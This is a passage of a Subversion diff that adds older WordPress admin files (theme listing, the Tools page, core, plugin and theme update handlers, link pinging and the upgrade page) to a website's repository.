+<?php if ( $theme_total ) { ?>
+
+<?php if ( $page_links ) : ?>
+<div class="tablenav">
+<div class="tablenav-pages"><?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( $start + 1 ),
+	number_format_i18n( min( $page * $per_page, $theme_total ) ),
+	number_format_i18n( $theme_total ),
+	$page_links
+); echo $page_links_text; ?></div>
+</div>
+<?php endif; ?>
+
+<table id="availablethemes" cellspacing="0" cellpadding="0">
+<?php
+$style = '';
+
+$theme_names = array_keys($themes);
+natcasesort($theme_names);
+
+$table = array();
+$rows = ceil(count($theme_names) / 3);
+for ( $row = 1; $row <= $rows; $row++ )
+	for ( $col = 1; $col <= 3; $col++ )
+		$table[$row][$col] = array_shift($theme_names);
+
+foreach ( $table as $row => $cols ) {
+?>
+<tr>
+<?php
+foreach ( $cols as $col => $theme_name ) {
+	$class = array('available-theme');
+	if ( $row == 1 ) $class[] = 'top';
+	if ( $col == 1 ) $class[] = 'left';
+	if ( $row == $rows ) $class[] = 'bottom';
+	if ( $col == 3 ) $class[] = 'right';
+?>
+	<td class="<?php echo join(' ', $class); ?>">
+<?php if ( !empty($theme_name) ) :
+	$template = $themes[$theme_name]['Template'];
+	$stylesheet = $themes[$theme_name]['Stylesheet'];
+	$title = $themes[$theme_name]['Title'];
+	$version = $themes[$theme_name]['Version'];
+	$description = $themes[$theme_name]['Description'];
+	$author = $themes[$theme_name]['Author'];
+	$screenshot = $themes[$theme_name]['Screenshot'];
+	$stylesheet_dir = $themes[$theme_name]['Stylesheet Dir'];
+	$template_dir = $themes[$theme_name]['Template Dir'];
+	$parent_theme = $themes[$theme_name]['Parent Theme'];
+	$preview_link = esc_url(get_option('home') . '/');
+	if ( is_ssl() )
+		$preview_link = str_replace( 'http://', 'https://', $preview_link );
+	$preview_link = htmlspecialchars( add_query_arg( array('preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), $preview_link ) );
+	$preview_text = esc_attr( sprintf( __('Preview of &#8220;%s&#8221;'), $title ) );
+	$tags = $themes[$theme_name]['Tags'];
+	$thickbox_class = 'thickbox thickbox-preview';
+	$activate_link = wp_nonce_url("themes.php?action=activate&amp;template=".urlencode($template)."&amp;stylesheet=".urlencode($stylesheet), 'switch-theme_' . $template);
+	$activate_text = esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $title ) );
+	$actions = array();
+	$actions[] = '<a href="' . $activate_link .  '" class="activatelink" title="' . $activate_text . '">' . __('Activate') . '</a>';
+	$actions[] = '<a href="' . $preview_link . '" class="thickbox thickbox-preview" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $theme_name)) . '">' . __('Preview') . '</a>';
+	if ( current_user_can('update_themes') )
+		$actions[] = '<a class="submitdelete deletion" href="' . wp_nonce_url("themes.php?action=delete&amp;template=$stylesheet", 'delete-theme_' . $stylesheet) . '" onclick="' . "if ( confirm('" . esc_js(sprintf( __("You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete."), $theme_name )) . "') ) {return true;}return false;" . '">' . __('Delete') . '</a>';
+	$actions = apply_filters('theme_action_links', $actions, $themes[$theme_name]);
+
+	$actions = implode ( ' | ', $actions );
+?>
+		<a href="<?php echo $preview_link; ?>" class="<?php echo $thickbox_class; ?> screenshot">
+<?php if ( $screenshot ) : ?>
+			<img src="<?php echo content_url($stylesheet_dir . '/' . $screenshot); ?>" alt="" />
+<?php endif; ?>
+		</a>
+<h3><?php
+	/* translators: 1: theme title, 2: theme version, 3: theme author */
+	printf(__('%1$s %2$s by %3$s'), $title, $version, $author) ; ?></h3>
+<p class="description"><?php echo $description; ?></p>
+<span class='action-links'><?php echo $actions ?></span>
+	<?php if ($parent_theme) {
+	/* translators: 1: theme title, 2:  template dir, 3: stylesheet_dir, 4: theme title, 5: parent_theme */ ?>
+	<p><?php printf(__('The template files are located in <code>%2$s</code>.  The stylesheet files are located in <code>%3$s</code>.  <strong>%4$s</strong> uses templates from <strong>%5$s</strong>.  Changes made to the templates will affect both themes.'), $title, $template_dir, $stylesheet_dir, $title, $parent_theme); ?></p>
+<?php } else { ?>
+	<p><?php printf(__('All of this theme&#8217;s files are located in <code>%2$s</code>.'), $title, $template_dir, $stylesheet_dir); ?></p>
+<?php } ?>
+<?php if ( $tags ) : ?>
+<p><?php _e('Tags:'); ?> <?php echo join(', ', $tags); ?></p>
+<?php endif; ?>
+		<?php theme_update_available( $themes[$theme_name] ); ?>
+<?php endif; // end if not empty theme_name ?>
+	</td>
+<?php } // end foreach $cols ?>
+</tr>
+<?php } // end foreach $table ?>
+</table>
+<?php } else { ?>
+<p><?php _e('You only have one theme installed at the moment so there is nothing to show you here.  Maybe you should download some more to try out.'); ?></p>
+<?php } // end if $theme_total?>
+<br class="clear" />
+
+<?php if ( $page_links ) : ?>
+<div class="tablenav">
+<?php echo "<div class='tablenav-pages'>$page_links_text</div>"; ?>
+<br class="clear" />
+</div>
+<?php endif; ?>
+
+<br class="clear" />
+
+<?php
+// List broken themes, if any.
+$broken_themes = get_broken_themes();
+if ( count($broken_themes) ) {
+?>
+
+<h2><?php _e('Broken Themes'); ?></h2>
+<p><?php _e('The following themes are installed but incomplete.  Themes must have a stylesheet and a template.'); ?></p>
+
+<table width="100%" cellpadding="3" cellspacing="3">
+	<tr>
+		<th><?php _e('Name'); ?></th>
+		<th><?php _e('Description'); ?></th>
+	</tr>
+<?php
+	$theme = '';
+
+	$theme_names = array_keys($broken_themes);
+	natcasesort($theme_names);
+
+	foreach ($theme_names as $theme_name) {
+		$title = $broken_themes[$theme_name]['Title'];
+		$description = $broken_themes[$theme_name]['Description'];
+
+		$theme = ('class="alternate"' == $theme) ? '' : 'class="alternate"';
+		echo "
+		<tr $theme>
+			 <td>$title</td>
+			 <td>$description</td>
+		</tr>";
+	}
+?>
+</table>
+<?php
+}
+?>
+</div>
+
+<?php require('admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/tools.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/tools.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/tools.php	(revision 44)
@@ -0,0 +1,97 @@
+<?php
+/**
+ * Turbo Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Tools');
+wp_enqueue_script( 'wp-gears' );
+
+require_once('admin-header.php');
+
+screen_icon();
+?>
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div class="tool-box">
+<?php
+if ( ! $is_opera ) {
+?>
+	<div id="gears-msg1">
+	<h3 class="title"><?php _e('Turbo:'); ?> <?php _e('Speed up WordPress'); ?></h3>
+	<p><?php _e('WordPress now has support for Gears, which adds new features to your web browser.'); ?><br />
+	<a href="http://gears.google.com/" target="_blank" style="font-weight:normal;"><?php _e('More information...'); ?></a></p>
+	<p><?php _e('After you install and enable Gears, most of WordPress&#8217; images, scripts, and CSS files will be stored locally on your computer. This speeds up page load time.'); ?></p>
+	<p><strong><?php _e('Don&#8217;t install on a public or shared computer.'); ?></strong></p>
+	<div class="buttons"><button onclick="window.location = 'http://gears.google.com/?action=install&amp;return=<?php echo urlencode( admin_url() ); ?>';" class="button"><?php _e('Install Now'); ?></button></div>
+	</div>
+
+	<div id="gears-msg2" style="display:none;">
+	<h3 class="title"><?php _e('Turbo:'); ?> <?php _e('Gears Status'); ?></h3>
+	<p><?php _e('Gears is installed on this computer, but is not enabled for use with WordPress.'); ?></p>
+	<p><?php _e('To enable it click the button below.'); ?></p>
+	<p><strong><?php _e('Note: Do not enable Gears if this is a public or shared computer!'); ?></strong></p>
+	<div class="buttons"><button class="button" onclick="wpGears.getPermission();"><?php _e('Enable Gears'); ?></button></div>
+	</div>
+
+	<div id="gears-msg3" style="display:none;">
+	<h3 class="title"><?php _e('Turbo:'); ?> <?php _e('Gears Status'); ?></h3>
+	<p><?php
+
+	if ( $is_chrome )
+		_e('Gears is installed and enabled on this computer. You can disable it from the Under the Hood tab in Chrome&#8217;s Options menu.');
+	elseif ( $is_safari )
+		_e('Gears is installed and enabled on this computer. You can disable it from the Safari menu.');
+	else
+		_e('Gears is installed and enabled on this computer. You can disable it from your browser&#8217;s Tools menu.');
+
+	?></p>
+	<p><?php _e('If there are any errors try disabling Gears, reloading the page, and re-enabling Gears.'); ?></p>
+	<p><?php _e('Local storage status:'); ?> <span id="gears-wait"><span style="color:#f00;"><?php _e('Updating files:'); ?></span> <span id="gears-upd-number"></span></span></p>
+	</div>
+
+	<div id="gears-msg4" style="display:none;">
+	<h3 class="title"><?php _e('Turbo:'); ?> <?php _e('Gears Status'); ?></h3>
+	<p><?php _e('Your browser&#8217;s settings do not permit this website to use Google Gears.'); ?></p>
+	<p><?php
+
+	if ( $is_chrome )
+	 	_e('To allow it, change the Gears settings in your browser&#8217;s Options, Under the Hood menu and reload this page.');
+	elseif ( $is_safari )
+	 	_e('To allow it, change the Gears settings in the Safari menu and reload this page.');
+	else
+		_e('To allow it, change the Gears settings in your browser&#8217;s Tools menu and reload this page.');
+
+	?></p>
+	<p><strong><?php _e('Note: Do not enable Gears if this is a public or shared computer!'); ?></strong></p>
+	</div>
+	<script type="text/javascript">wpGears.message();</script>
+<?php } else {
+	_e('Turbo is not available for your browser.');
+} ?>
+</div>
+
+<?php if ( current_user_can('edit_posts') ) : ?>
+<div class="tool-box">
+	<h3 class="title"><?php _e('Press This') ?></h3>
+	<p><?php _e('Press This is a bookmarklet: a little app that runs in your browser and lets you grab bits of the web.');?></p>
+
+	<p><?php _e('Use Press This to clip text, images and videos from any web page. Then edit and add more straight from Press This before you save or publish it in a post on your blog.'); ?></p>
+	<p><?php _e('Drag-and-drop the following link to your bookmarks bar or right click it and add it to your favorites for a posting shortcut.') ?></p>
+	<p class="pressthis"><a href="<?php echo htmlspecialchars( get_shortcut_link() ); ?>" title="<?php echo esc_attr(__('Press This')) ?>"><?php _e('Press This') ?></a></p>
+</div>
+<?php
+endif;
+
+do_action( 'tool_box' );
+?>
+</div>
+<?php
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/update-core.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/update-core.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/update-core.php	(revision 44)
@@ -0,0 +1,237 @@
+<?php
+/**
+ * Update Core administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( ! current_user_can('update_plugins') )
+	wp_die(__('You do not have sufficient permissions to update plugins for this blog.'));
+
+function list_core_update( $update ) {
+	global $wp_local_package;
+	$version_string = ('en_US' == $update->locale && 'en_US' == get_locale() ) ?
+			$update->current : sprintf("%s&ndash;<strong>%s</strong>", $update->current, $update->locale);
+	$current = false;
+	if ( !isset($update->response) || 'latest' == $update->response )
+		$current = true;
+	$submit = __('Upgrade Automatically');
+	$form_action = 'update-core.php?action=do-core-upgrade';
+	if ( 'development' == $update->response ) {
+		$message = __('You are using a development version of WordPress.  You can upgrade to the latest nightly build automatically or download the nightly build and install it manually:');
+		$download = __('Download nightly build');
+	} else {
+		if ( $current ) {
+			$message = sprintf(__('You have the latest version of WordPress. You do not need to upgrade. However, if you want to re-install version %s, you can do so automatically or download the package and re-install manually:'), $version_string);
+			$submit = __('Re-install Automatically');
+			$form_action = 'update-core.php?action=do-core-reinstall';
+		} else {
+			$message = 	sprintf(__('You can upgrade to version %s automatically or download the package and install it manually:'), $version_string);
+		}
+		$download = sprintf(__('Download %s'), $version_string);
+	}
+
+	echo '<p>';
+	echo $message;
+	echo '</p>';
+	echo '<form method="post" action="' . $form_action . '" name="upgrade" class="upgrade">';
+	wp_nonce_field('upgrade-core');
+	echo '<p>';
+	echo '<input id="upgrade" class="button" type="submit" value="' . esc_attr($submit) . '" name="upgrade" />&nbsp;';
+	echo '<input name="version" value="'. esc_attr($update->current) .'" type="hidden"/>';
+	echo '<input name="locale" value="'. esc_attr($update->locale) .'" type="hidden"/>';
+	echo '<a href="' . esc_url($update->package) . '" class="button">' . $download . '</a>&nbsp;';
+	if ( 'en_US' != $update->locale )
+		if ( !isset( $update->dismissed ) || !$update->dismissed )
+			echo '<input id="dismiss" class="button" type="submit" value="' . esc_attr__('Hide this update') . '" name="dismiss" />';
+		else
+			echo '<input id="undismiss" class="button" type="submit" value="' . esc_attr__('Bring back this update') . '" name="undismiss" />';
+	echo '</p>';
+	if ( 'en_US' != $update->locale && ( !isset($wp_local_package) || $wp_local_package != $update->locale ) )
+	    echo '<p class="hint">'.__('This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation.').'</p>';
+	else if ( 'en_US' == $update->locale && get_locale() != 'en_US' ) {
+	    echo '<p class="hint">'.sprintf( __('You are about to install WordPress %s <strong>in English.</strong> There is a chance this upgrade will break your translation. You may prefer to wait for the localized version to be released.'), $update->current ).'</p>';
+	}
+	echo '</form>';
+
+}
+
+function dismissed_updates() {
+	$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
+	if ( $dismissed ) {
+
+		$show_text = esc_js(__('Show hidden updates'));
+		$hide_text = esc_js(__('Hide hidden updates'));
+	?>
+	<script type="text/javascript">
+
+		jQuery(function($) {
+			$('dismissed-updates').show();
+			$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
+			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
+		});
+	</script>
+	<?php
+		echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
+		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
+		foreach( (array) $dismissed as $update) {
+			echo '<li>';
+			list_core_update( $update );
+			echo '</li>';
+		}
+		echo '</ul>';
+	}
+}
+
+/**
+ * Display upgrade WordPress for downloading latest or upgrading automatically form.
+ *
+ * @since 2.7
+ *
+ * @return null
+ */
+function core_upgrade_preamble() {
+	$updates = get_core_updates();
+?>
+	<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php _e('Upgrade WordPress'); ?></h2>
+<?php
+	if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) {
+		echo '<h3>';
+		_e('You have the latest version of WordPress. You do not need to upgrade');
+		echo '</h3>';
+	} else {
+		echo '<div class="updated fade"><p>';
+		_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
+		echo '</p></div>';
+
+		echo '<h3 class="response">';
+		_e( 'There is a new version of WordPress available for upgrade' );
+		echo '</h3>';
+	}
+
+	echo '<ul class="core-updates">';
+	$alternate = true;
+	foreach( (array) $updates as $update ) {
+		$class = $alternate? ' class="alternate"' : '';
+		$alternate = !$alternate;
+		echo "<li $class>";
+		list_core_update( $update );
+		echo '</li>';
+	}
+	echo '</ul>';
+	dismissed_updates();
+	echo '</div>';
+}
+
+
+/**
+ * Upgrade WordPress core display.
+ *
+ * @since 2.7
+ *
+ * @return null
+ */
+function do_core_upgrade( $reinstall = false ) {
+	global $wp_filesystem;
+
+	if ( $reinstall )
+		$url = 'update-core.php?action=do-core-reinstall';
+	else
+		$url = 'update-core.php?action=do-core-upgrade';
+	$url = wp_nonce_url($url, 'upgrade-core');
+	if ( false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH)) )
+		return;
+
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+
+
+	if ( ! WP_Filesystem($credentials, ABSPATH) ) {
+		request_filesystem_credentials($url, '', true, ABSPATH); //Failed to connect, Error and request again
+		return;
+	}
+?>
+	<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php _e('Upgrade WordPress'); ?></h2>
+<?php
+	if ( $wp_filesystem->errors->get_error_code() ) {
+		foreach ( $wp_filesystem->errors->get_error_messages() as $message )
+			show_message($message);
+		echo '</div>';
+		return;
+	}
+
+	if ( $reinstall )
+		$update->response = 'reinstall';
+
+	$result = wp_update_core($update, 'show_message');
+
+	if ( is_wp_error($result) ) {
+		show_message($result);
+		if ('up_to_date' != $result->get_error_code() )
+			show_message( __('Installation Failed') );
+	} else {
+		show_message( __('WordPress upgraded successfully') );
+	}
+	echo '</div>';
+}
+
+function do_dismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	dismiss_core_update( $update );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+}
+
+function do_undismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	undismiss_core_update( $version, $locale );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+}
+
+$action = isset($_GET['action']) ? $_GET['action'] : 'upgrade-core';
+
+if ( 'upgrade-core' == $action ) {
+	wp_version_check();
+	$title = __('Upgrade WordPress');
+	$parent_file = 'tools.php';
+	require_once('admin-header.php');
+	core_upgrade_preamble();
+	include('admin-footer.php');
+} elseif ( 'do-core-upgrade' == $action || 'do-core-reinstall' == $action ) {
+	check_admin_referer('upgrade-core');
+	$title = __('Upgrade WordPress');
+	$parent_file = 'tools.php';
+	// do the (un)dismiss actions before headers,
+	// so that they can redirect
+	if ( isset( $_POST['dismiss'] ) )
+		do_dismiss_core_update();
+	elseif ( isset( $_POST['undismiss'] ) )
+	do_undismiss_core_update();
+	require_once('admin-header.php');
+	if ( 'do-core-reinstall' == $action )
+		$reinstall = true;
+	else
+		$reinstall = false;
+	if ( isset( $_POST['upgrade'] ) )
+		do_core_upgrade($reinstall);
+	include('admin-footer.php');
+
+}?>
Index: /trunk/www.guidonia.net/wp/wp-admin/update-links.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/update-links.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/update-links.php	(revision 44)
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Send blog links to pingomatic.com to update.
+ *
+ * You can disable this feature by deleting the option 'use_linksupdate' or
+ * setting the option to false. If no links exist, then no links are sent.
+ *
+ * Snoopy is included, but is not used. Fsockopen() is used instead to send link
+ * URLs.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once('../wp-load.php');
+
+if ( !get_option('use_linksupdate') )
+	wp_die(__('Feature disabled.'));
+
+$link_uris = $wpdb->get_col("SELECT link_url FROM $wpdb->links");
+
+if ( !$link_uris )
+	wp_die(__('No links'));
+
+$link_uris = urlencode( join( $link_uris, "\n" ) );
+
+$query_string = "uris=$link_uris";
+
+$options = array();
+$options['timeout'] = 30;
+$options['body'] = $query_string;
+
+$options['headers'] = array(
+	'content-type' => 'application/x-www-form-urlencoded; charset='.get_option('blog_charset'),
+	'content-length' => strlen( $query_string ),
+);
+
+$response = wp_remote_get('http://api.pingomatic.com/updated-batch/', $options);
+
+if ( is_wp_error( $response ) )
+	wp_die(__('Request Failed.'));
+
+if ( $response['response']['code'] != 200 )
+	wp_die(__('Request Failed.'));
+
+$body = str_replace(array("\r\n", "\r"), "\n", $response['body']);
+$returns = explode("\n", $body);
+
+foreach ($returns as $return) {
+	$time = substr($return, 0, 19);
+	$uri = preg_replace('/(.*?) | (.*?)/', '$2', $return);
+	$wdpdb->update( $wpdb->links, array('link_updated' => $time), array('link_url' => $uri) );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/update.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/update.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/update.php	(revision 44)
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Update/Install Plugin/Theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+
+if ( isset($_GET['action']) ) {
+	$plugin = isset($_REQUEST['plugin']) ? trim($_REQUEST['plugin']) : '';
+	$theme = isset($_REQUEST['theme']) ? urldecode($_REQUEST['theme']) : '';
+	$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
+
+	if ( 'upgrade-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('You do not have sufficient permissions to update plugins for this blog.'));
+
+		check_admin_referer('upgrade-plugin_' . $plugin);
+
+		$title = __('Upgrade Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugins.php';
+		require_once('admin-header.php');
+
+		$nonce = 'upgrade-plugin_' . $plugin;
+		$url = 'update.php?action=upgrade-plugin&plugin=' . $plugin;
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) );
+		$upgrader->upgrade($plugin);
+
+		include('admin-footer.php');
+
+	} elseif ('activate-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('You do not have sufficient permissions to update plugins for this blog.'));
+
+		check_admin_referer('activate-plugin_' . $plugin);
+		if( ! isset($_GET['failure']) && ! isset($_GET['success']) ) {
+			wp_redirect( 'update.php?action=activate-plugin&failure=true&plugin=' . $plugin . '&_wpnonce=' . $_GET['_wpnonce'] );
+			activate_plugin($plugin);
+			wp_redirect( 'update.php?action=activate-plugin&success=true&plugin=' . $plugin . '&_wpnonce=' . $_GET['_wpnonce'] );
+			die();
+		}
+		iframe_header( __('Plugin Reactivation'), true );
+		if( isset($_GET['success']) )
+			echo '<p>' . __('Plugin reactivated successfully.') . '</p>';
+
+		if( isset($_GET['failure']) ){
+			echo '<p>' . __('Plugin failed to reactivate due to a fatal error.') . '</p>';
+			error_reporting( E_ALL ^ E_NOTICE );
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			include(WP_PLUGIN_DIR . '/' . $plugin);
+		}
+		iframe_footer();
+	} elseif ( 'install-plugin' == $action ) {
+
+		if ( ! current_user_can('install_plugins') )
+			wp_die(__('You do not have sufficient permissions to install plugins for this blog.'));
+
+		include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; //for plugins_api..
+
+		check_admin_referer('install-plugin_' . $plugin);
+		$api = plugins_api('plugin_information', array('slug' => $plugin, 'fields' => array('sections' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( is_wp_error($api) )
+	 		wp_die($api);
+
+		$title = __('Plugin Install');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once('admin-header.php');
+
+		$title = sprintf( __('Installing Plugin: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-plugin_' . $plugin;
+		$url = 'update.php?action=install-plugin&plugin=' . $plugin;
+		$type = 'web'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include('admin-footer.php');
+
+	} elseif ( 'upload-plugin' == $action ) {
+
+		if ( ! current_user_can('install_plugins') )
+			wp_die(__('You do not have sufficient permissions to install plugins for this blog.'));
+
+		check_admin_referer('plugin-upload');
+
+		$file_upload = new File_Upload_Upgrader('pluginzip', 'package');
+
+		$title = __('Upload Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once('admin-header.php');
+
+		$title = sprintf( __('Installing Plugin from uploaded file: %s'), basename( $file_upload->filename ) );
+		$nonce = 'plugin-upload';
+		$url = add_query_arg(array('package' => $file_upload->filename ), 'update.php?action=upload-plugin');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$upgrader->install( $file_upload->package );
+
+		include('admin-footer.php');
+
+	} elseif ( 'upgrade-theme' == $action ) {
+
+		if ( ! current_user_can('update_themes') )
+			wp_die(__('You do not have sufficient permissions to update themes for this blog.'));
+
+		check_admin_referer('upgrade-theme_' . $theme);
+
+		add_thickbox();
+		wp_enqueue_script('theme-preview');
+		$title = __('Upgrade Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'themes.php';
+		require_once('admin-header.php');
+
+		$nonce = 'upgrade-theme_' . $theme;
+		$url = 'update.php?action=upgrade-theme&theme=' . $theme;
+
+		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact('title', 'nonce', 'url', 'theme') ) );
+		$upgrader->upgrade($theme);
+
+		include('admin-footer.php');
+
+	} elseif ( 'install-theme' == $action ) {
+
+		if ( ! current_user_can('install_themes') )
+			wp_die(__('You do not have sufficient permissions to install themes for this blog.'));
+
+		include_once ABSPATH . 'wp-admin/includes/theme-install.php'; //for themes_api..
+
+		check_admin_referer('install-theme_' . $theme);
+		$api = themes_api('theme_information', array('slug' => $theme, 'fields' => array('sections' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( is_wp_error($api) )
+	 		wp_die($api);
+
+		add_thickbox();
+		wp_enqueue_script('theme-preview');
+		$title = __('Install Themes');
+		$parent_file = 'themes.php';
+		$submenu_file = 'theme-install.php';
+		require_once('admin-header.php');
+
+		$title = sprintf( __('Installing theme: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-theme_' . $theme;
+		$url = 'update.php?action=install-theme&theme=' . $theme;
+		$type = 'web'; //Install theme type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include('admin-footer.php');
+
+	} elseif ( 'upload-theme' == $action ) {
+
+		if ( ! current_user_can('install_themes') )
+			wp_die(__('You do not have sufficient permissions to install themes for this blog.'));
+
+		check_admin_referer('theme-upload');
+
+		$file_upload = new File_Upload_Upgrader('themezip', 'package');
+
+		$title = __('Upload Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'theme-install.php';
+		add_thickbox();
+		wp_enqueue_script('theme-preview');
+		require_once('admin-header.php');
+
+		$title = sprintf( __('Installing Theme from uploaded file: %s'), basename( $file_upload->filename ) );
+		$nonce = 'theme-upload';
+		$url = add_query_arg(array('package' => $file_upload->filename), 'update.php?action=upload-theme');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$upgrader->install( $file_upload->package );
+
+		include('admin-footer.php');
+
+	} else {
+		do_action('update-custom_' . $action);
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/upgrade-functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/upgrade-functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/upgrade-functions.php	(revision 44)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * WordPress Upgrade Functions. Old file, must not be used. Include
+ * wp-admin/includes/upgrade.php instead.
+ *
+ * @deprecated 2.5
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5', 'wp-admin/includes/upgrade.php' );
+require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/upgrade.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/upgrade.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/upgrade.php	(revision 44)
@@ -0,0 +1,95 @@
+<?php
+/**
+ * Upgrade WordPress Page.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are upgrading WordPress.
+ *
+ * @since unknown
+ * @var bool
+ */
+define( 'WP_INSTALLING', true );
+
+/** Load WordPress Bootstrap */
+require( '../wp-load.php' );
+
+timer_start();
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+delete_transient('update_core');
+
+if ( isset( $_GET['step'] ) )
+	$step = $_GET['step'];
+else
+	$step = 0;
+
+// Do it.  No output.
+if ( 'upgrade_db' === $step ) {
+	wp_upgrade();
+	die( '0' );
+}
+
+$step = (int) $step;
+
+@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
+	<title><?php _e( 'WordPress &rsaquo; Upgrade' ); ?></title>
+	<?php wp_admin_css( 'install', true ); ?>
+</head>
+<body>
+<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
+
+<?php if ( get_option( 'db_version' ) == $wp_db_version || !is_blog_installed() ) : ?>
+
+<h2><?php _e( 'No Upgrade Required' ); ?></h2>
+<p><?php _e( 'Your WordPress database is already up-to-date!' ); ?></p>
+<p class="step"><a class="button" href="<?php echo get_option( 'home' ); ?>/"><?php _e( 'Continue' ); ?></a></p>
+
+<?php else :
+switch ( $step ) :
+	case 0:
+		$goback = stripslashes( wp_get_referer() );
